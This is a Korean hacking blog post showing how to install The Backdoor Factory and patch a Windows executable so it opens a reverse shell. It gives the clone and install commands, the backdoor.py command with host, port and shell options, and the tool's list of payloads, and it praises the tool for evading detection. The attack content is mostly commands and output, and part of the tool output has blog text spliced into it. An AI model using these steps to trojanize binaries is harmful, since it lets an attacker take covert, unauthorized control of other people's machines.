[HACKING] BDF(BackDoor-Factory) 설치 및 exe 파일에 backdoor 패치하기(patch executable binaries with user desired shellcode)

공격 성공 후 가장 먼지 설치하는 도구는 무엇이 있을까요? 아마 Dropper를 이용한 Backdoor 설치가 먼저라는 생각이 좀 드네요.

Backdoor는 아주 오래전부터 사용된 기법이며, 공격자가 쉽게 드나들 수 있도록 길을 만드는 프로그램, 툴, 과정입니다.

Wiki에서도 보시면

A backdoor in a computer system (or cryptosystem or algorithm) is a method of bypassing normal authentication, securing unauthorized remote access to a computer, obtaining access to plaintext, and so on, while attempting to remain undetected. The backdoor may take the form of a hidden part of a program,[1] a separate program (e.g., Back Orifice) may subvert the system through a rootkit[2]

Default passwords can function as backdoors if they are not changed by the user. Some debugging features can also act as backdoors if they are not removed in the release version

요렇게 나와있네요. 대게 원격지에서 접근 가능하도록 쉘을 연결해주고, 필요하다면 root 획득 및 탐지되지 않도록 작성된 툴이 일반적입니다. 이러한 Backdoor를 만드는 방법은 아주 여러가지(프레임워크나, 코딩을 통해..)가 있지만 오늘은 강력한 툴인 BDF에 대한 이야기를 할까 합니다.

주로 msfvenom를 통한 테스트 backdoor를 생성해봤지만, 움.. 뭐랄까 bdf는 msf 보다 더 탐지되지 않게 사용할 수 있다는 느낌을 받았습니다. 그럼 설치부터 사용까지 보도록 하겠습니다.

Kali 2.0 부터 추가된 툴 중 BDF라는 툴이 있습니다. 저도 공식 홈페이지 툴 리스트에서 쓸만한 툴이 있나 찾던 중 발견하였고, 이전에 포스팅한 veil 과의 연계성도 고려된 것 같아 테스트 후 사용할까 합니다.

Kali2.0 사용자는 미리 설치되어 있어 메뉴에서 찾아 사용하시면 되고, 다른 OS를 사용하여 툴이 없을 시 공식 github 페이지에서 clone 하여 사용 가능합니다.

git을 통해 설치하기

clone 명령을 통해 bdf를 clone 하고 install.sh 명령을 통해 관련 패키지를 설치합니다.

git clone https://github.com/secretsquirrel/the-backdoor-factory.git

cd the-backdoor-factory

./install.sh

[#1 Error] 저는 설치 후 실행 중에 capstone 관련 에러가 있어 python 패키지를 추가로 설치하였습니다. (Debian에서는 없었고, Ubuntu에서만 에러가 발생했네요)

apt-get install python-capstone libcapstone-dev

설치 기념으로 바로 update를 수행합니다 : )

./update.sh

./update.sh: 줄 10: cd: capstone: 그런 파일이나 디렉터리가 없습니다 (#1 Error 발생) Capstone is up-to-date. Requirement already up-to-date: pefile in /usr/local/lib/python2.7/dist-packages Cleaning up…

내부 구성은 아래와 같습니다.

ls

COPYING aPLib backdoor.py intel payloadtests.py winapi README.md arm elfbin.py machobin.py pebin.py init.py asm install.sh onionduke update.sh

python 으로 작성된 스크립트이며, backdoor 파일을 생성하는 backdoor.py 와 부수적인 python 스크립트로 구성되어 있습니다. intel 이외에도 arm 도 지원하나 보네요.

Backdoor.py를 통해 바이너리 파일에 backdoor 패치하기

backdoor.py 를 통해 기존 exe 파일에 backdoor 기능을 패치할 수 있습니다. 아래 명령을 살펴보면 -f 옵션으로 패치할 파일(black.exe)을 지정하고 -H를 통해 reverse shell 의 host를 , -P를 통해 포트를 지정, -s 를 통해 쉘을 지정하면 exe 파일에 패치가 진행됩니다.

./backdoor.py -f black.exe -H 127.0.0.1 -P 4444 -s reverse_shell_tcp

-.(-') (-‘) _ <-.(-') _(-‘) (-') __( OO) (OO ).-/ _ __( OO)( (OO ).-> .-> .-> <-.(OO ) '-'---.\ / ,---. \-,-----.'-'. ,--.\ .'_ (-‘)—-. (-')----. ,------,) | .-. (/ | \ /.\ | .–./| .’ /’'-..__)( OO).-. '( OO).-. '| /. ‘ | ‘-‘ .) '-'|_.' | /_) (-‘)| /)| | ‘ |( ) | | |( _) | | || |.’ | | /'. |(| .-. | || |OO )| . ' | | / : \| |)| | \| |)| || . .' | '--' / | | | |(_' '--'\| |\ \| '-' / ' '-' ' ' '-' '| |\ \ ——’ --' –’ -----'–’ ‘–’------' —–’ -----' –’ ‘–’ (-') _ (-‘) (-') <-. (OO ).-/ _ ( OO).-> .-> <-.(OO ) .-> (-‘)—–./ ,—. -,—–./ ‘._ (-')----. ,------,) ,--.' ,-. (OO|(_\---'| \ /.\ | .–./|’–…_)( OO).-. ‘| /. '(-‘)’.’ /
/ | ‘–. ‘-‘|
.’ | /) (-')–. .–’( _) | | || |.’ |(OO \ /
_) .–’(| .-. | || |OO ) | | | |)| || . .’ | / /)
| |_) | | | |(_' '--'\ | | ' '-' '| |\ \ -/ / –’ --' –’ -----' –’ -----' –’ ‘–’ `–’

     Author:    Joshua Pitts
     Email:     the.midnite.runr[-at ]gmail<d o-t>com
     Twitter:   @midnite_runr
     IRC:       freenode.net #BDFactory
     
     Version:   3.1.3

[] In the backdoor module [] BDF라는 툴이 있습니다. 저도 공식 홈페이지 툴 리스트에서 쓸만한 툴이 있나 찾던 중 발견하였고, 이전에 포스팅한 veil 과의 연계성도 고려된 것 같아 테스트 후 사용할까 합니다. Checking if binary is supported [] Gathering file info [] Reading win32 entry instructions The following WinIntelPE32s are available: (use -s) cave_miner_inline iat_reverse_tcp_inline iat_reverse_tcp_inline_threaded iat_reverse_tcp_stager_threaded iat_user_supplied_shellcode_threaded meterpreter_reverse_https_threaded reverse_shell_tcp_inline reverse_tcp_stager_threaded user_supplied_shellcode_threaded

패치 후 파일을 확인해 보면 black.exe 가 정상적으로 패치됨을 알 수 있습니다.

ls | grep black.exe

black.exe

자세한 사용법은 공식 github에서 Sample Usage 를 통해 확인이 가능합니다. https://github.com/secretsquirrel/the-backdoor-factory

Reference

https://github.com/secretsquirrel/the-backdoor-factory